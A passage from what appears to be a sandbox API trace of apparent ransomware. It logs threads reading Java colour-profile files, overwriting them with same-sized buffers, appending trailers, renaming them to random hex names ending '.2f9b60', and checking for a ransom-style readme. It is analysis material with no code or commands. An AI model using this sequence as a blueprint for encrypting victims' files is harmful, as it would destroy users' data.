Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x2a7244fe [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x4c7aa6ef [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x4d45e8cc [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x6de27710 [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x5c94f71d [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x1c625b5a [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x4b7719fc [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0xe6c882c [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x544c6683 [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x25d184ff [0210.119] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x54115da [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x6742d40f [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0xf98bb51 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x39490695 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x21d470aa [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x7d869fac [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x6aa3279e [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0xd6bd50 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x20c87b53 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x7c5e6ca9 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x287b8f3b [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x66b775d7 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x153e39bb [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x5576771f [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x1a161899 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x4b2a883c [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x441db416 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x69cd09b1 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x550a9b37 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0xc5541a4 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x3d4d16a7 [0210.120] RtlRandomEx (in: Seed=0x1e3bf9d0 | out: Seed=0x1e3bf9d0) returned 0x8564576 [0210.134] ReadFile (in: hFile=0x2408, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x278, lpNumberOfBytesRead=0x1e3bf9d0, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x1e3bf9d0*=0x278, lpOverlapped=0x0) returned 1 [0210.134] SetFilePointerEx (in: hFile=0x2408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.134] WriteFile (in: hFile=0x2408, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x278, lpNumberOfBytesWritten=0x1e3bf9d4, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x1e3bf9d4*=0x278, lpOverlapped=0x0) returned 1 [0217.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0217.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0217.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b10) returned 1 [0217.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0217.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0217.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20266b10 [0217.587] SetFilePointerEx (in: hFile=0x2408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0217.587] WriteFile (in: hFile=0x2408, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e3bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x1e3bfaf0*=0x100, lpOverlapped=0x0) returned 1 [0222.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61240 [0222.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0222.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e90 [0222.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e90) returned 1 [0222.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0222.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e90 [0222.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e60 [0222.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e60) returned 1 [0222.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0222.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61240) returned 1 [0222.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cdb3e60 [0222.168] sprintf (in: _Dest=0x1cdb3e60, _Format="%c%c" | out: _Dest="6e") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e62, _Format="%c%c" | out: _Dest="29") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e64, _Format="%c%c" | out: _Dest="27") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e66, _Format="%c%c" | out: _Dest="ea") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e68, _Format="%c%c" | out: _Dest="1c") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e6a, _Format="%c%c" | out: _Dest="dd") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e6c, _Format="%c%c" | out: _Dest="9b") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e6e, _Format="%c%c" | out: _Dest="af") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e70, _Format="%c%c" | out: _Dest="2a") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e72, _Format="%c%c" | out: _Dest="05") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e74, _Format="%c%c" | out: _Dest="24") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e76, _Format="%c%c" | out: _Dest="02") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e78, _Format="%c%c" | out: _Dest="73") returned 2 [0222.169] sprintf (in: _Dest=0x1cdb3e7a, _Format="%c%c" | out: _Dest="8d") returned 2 [0222.169] RtlInitAnsiString (in: DestinationString=0x1e3bfb68, SourceString="6e2927ea1cdd9baf2a052402738d" | out: DestinationString="6e2927ea1cdd9baf2a052402738d") [0222.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e3bfb38, SourceString="6e2927ea1cdd9baf2a052402738d", AllocateDestinationString=1 | out: DestinationString="6e2927ea1cdd9baf2a052402738d") returned 0x0 [0222.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62d70 [0222.170] wcscat (in: _Dest=0x1b86c4c0, _Source="6e2927e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e" [0222.170] wcscat (in: _Dest=0x1b86c4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e.2f9b60" [0222.170] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e.2f9b60", NtPathName=0x1e3bfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\6e2927e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43197bc0 [0229.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197bc0) returned 1 [0229.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd130) returned 1 [0229.718] NtQueryInformationFile (in: FileHandle=0x2408, IoStatusBlock=0x1e3bfb78, FileInformation=0x1e3bfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e3bfb78, FileInformation=0x1e3bfb88) returned 0x0 [0229.718] NtSetInformationFile (FileHandle=0x2408, IoStatusBlock=0x1e3bfb78, FileInformation=0x1e3bfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0233.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62d70) returned 1 [0233.598] FlushFileBuffers (hFile=0x2408) returned 1 [0235.013] CloseHandle (hObject=0x2408) returned 1 [0236.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e370 [0236.618] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0236.618] wcscat (in: _Dest=0x1b79e370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" [0236.618] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\2f9b60-readme.txt")) returned 0x20 [0236.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 Thread: id = 3534 os_tid = 0x1f9c [0210.157] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0210.158] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf", dwFileAttributes=0x20) returned 1 [0210.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4a0 [0210.160] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x1e58f880 | out: lpFileSize=0x1e58f880*=1044) returned 1 [0210.160] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x410, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.160] ReadFile (in: hFile=0x4a0, lpBuffer=0x1e58f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e58f848, lpOverlapped=0x0 | out: lpBuffer=0x1e58f800*, lpNumberOfBytesRead=0x1e58f848*=0x4, lpOverlapped=0x0) returned 1 [0211.670] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0211.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0211.671] NtQuerySystemTime (in: CurrentTime=0x1e58f740 | out: CurrentTime=0x1e58f740*=132462178165354000) returned 0x0 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x37e231a5 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x5f4d843f [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x38f9caa3 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x72cb7a60 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x6db164f3 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x10bc1f40 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x150b54b9 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x59173235 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x13f33a02 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x6704b731 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x4a09cd0 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x53e34d72 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x561e85ed [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x65f1567d [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0xb383ab6 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x632d8269 [0211.671] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x55119380 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x2ad282fa [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x5d08429c [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x487d9ea1 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x415b8ff1 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x6485e61c [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x6465e589 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x670633dc [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x1ff288a8 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x4a9cfafd [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x484386ca [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x446c13a0 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x3fd56eb6 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x4dd870da [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x45706e60 [0211.672] RtlRandomEx (in: Seed=0x1e58f730 | out: Seed=0x1e58f730) returned 0x2af8ec92 [0211.682] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d7f4c0, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x1e58f730, lpOverlapped=0x0 | out: lpBuffer=0x42d7f4c0*, lpNumberOfBytesRead=0x1e58f730*=0x414, lpOverlapped=0x0) returned 1 [0211.682] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.683] WriteFile (in: hFile=0x4a0, lpBuffer=0x42d92110*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x1e58f734, lpOverlapped=0x0 | out: lpBuffer=0x42d92110*, lpNumberOfBytesWritten=0x1e58f734*=0x414, lpOverlapped=0x0) returned 1 [0215.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14c0 [0215.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b60 [0215.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b60) returned 1 [0215.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d92110) returned 1 [0215.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d7f4c0) returned 1 [0215.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0215.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420587e0) returned 1 [0215.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42ac0b60 [0215.533] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.533] WriteFile (in: hFile=0x4a0, lpBuffer=0x431f2100*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1e58f850, lpOverlapped=0x0 | out: lpBuffer=0x431f2100*, lpNumberOfBytesWritten=0x1e58f850*=0x10c, lpOverlapped=0x0) returned 1 [0217.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0217.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0217.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a420 [0217.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0217.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa80 [0217.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa80) returned 1 [0217.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d82c0 [0217.962] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="00") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="5f") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="90") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="74") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="e7") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="2a") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="da") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="72") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="69") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="51") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="40") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="ac") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="0e") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="df") returned 2 [0217.962] sprintf (in: _Dest=0x1b7d82f0, _Format="%c%c" | out: _Dest="49") returned 2 [0217.963] sprintf (in: _Dest=0x1b7d82f2, _Format="%c%c" | out: _Dest="30") returned 2 [0217.963] RtlInitAnsiString (in: DestinationString=0x1e58f8c8, SourceString="005fc5903f74e74f3b2af2d2da72e0d06951e040acec0edf4930" | out: DestinationString="005fc5903f74e74f3b2af2d2da72e0d06951e040acec0edf4930") [0217.963] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e58f898, SourceString="005fc5903f74e74f3b2af2d2da72e0d06951e040acec0edf4930", AllocateDestinationString=1 | out: DestinationString="005fc5903f74e74f3b2af2d2da72e0d06951e040acec0edf4930") returned 0x0 [0217.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce24520 [0217.963] wcscat (in: _Dest=0x431a2460, _Source="005fc5903f74e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e" [0217.963] wcscat (in: _Dest=0x431a2460, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e.2f9b60" [0217.963] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e.2f9b60", NtPathName=0x1e58f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\005fc5903f74e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65fa0 [0225.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65fa0) returned 1 [0225.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5dd0) returned 1 [0225.411] NtQueryInformationFile (in: FileHandle=0x4a0, IoStatusBlock=0x1e58f8d8, FileInformation=0x1e58f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e58f8d8, FileInformation=0x1e58f8e8) returned 0x0 [0225.411] NtSetInformationFile (FileHandle=0x4a0, IoStatusBlock=0x1e58f8d8, FileInformation=0x1e58f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2460) returned 1 [0229.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0229.640] FlushFileBuffers (hFile=0x4a0) returned 1 [0234.358] CloseHandle (hObject=0x4a0) returned 1 [0239.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85eb10 [0239.473] wcscpy (in: _Dest=0x1b85eb10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0239.473] wcscat (in: _Dest=0x1b85eb10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" [0239.473] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\2f9b60-readme.txt")) returned 0x20 [0239.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 [0239.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 Thread: id = 3535 os_tid = 0x1fa0 [0210.162] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\pycc.pf")) returned 0x20 [0210.162] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf", dwFileAttributes=0x20) returned 1 [0210.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x530 [0210.164] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2117f780 | out: lpFileSize=0x2117f780*=274474) returned 1 [0210.164] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x43026, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.164] ReadFile (in: hFile=0x530, lpBuffer=0x2117f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2117f748, lpOverlapped=0x0 | out: lpBuffer=0x2117f700*, lpNumberOfBytesRead=0x2117f748*=0x4, lpOverlapped=0x0) returned 1 [0210.330] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 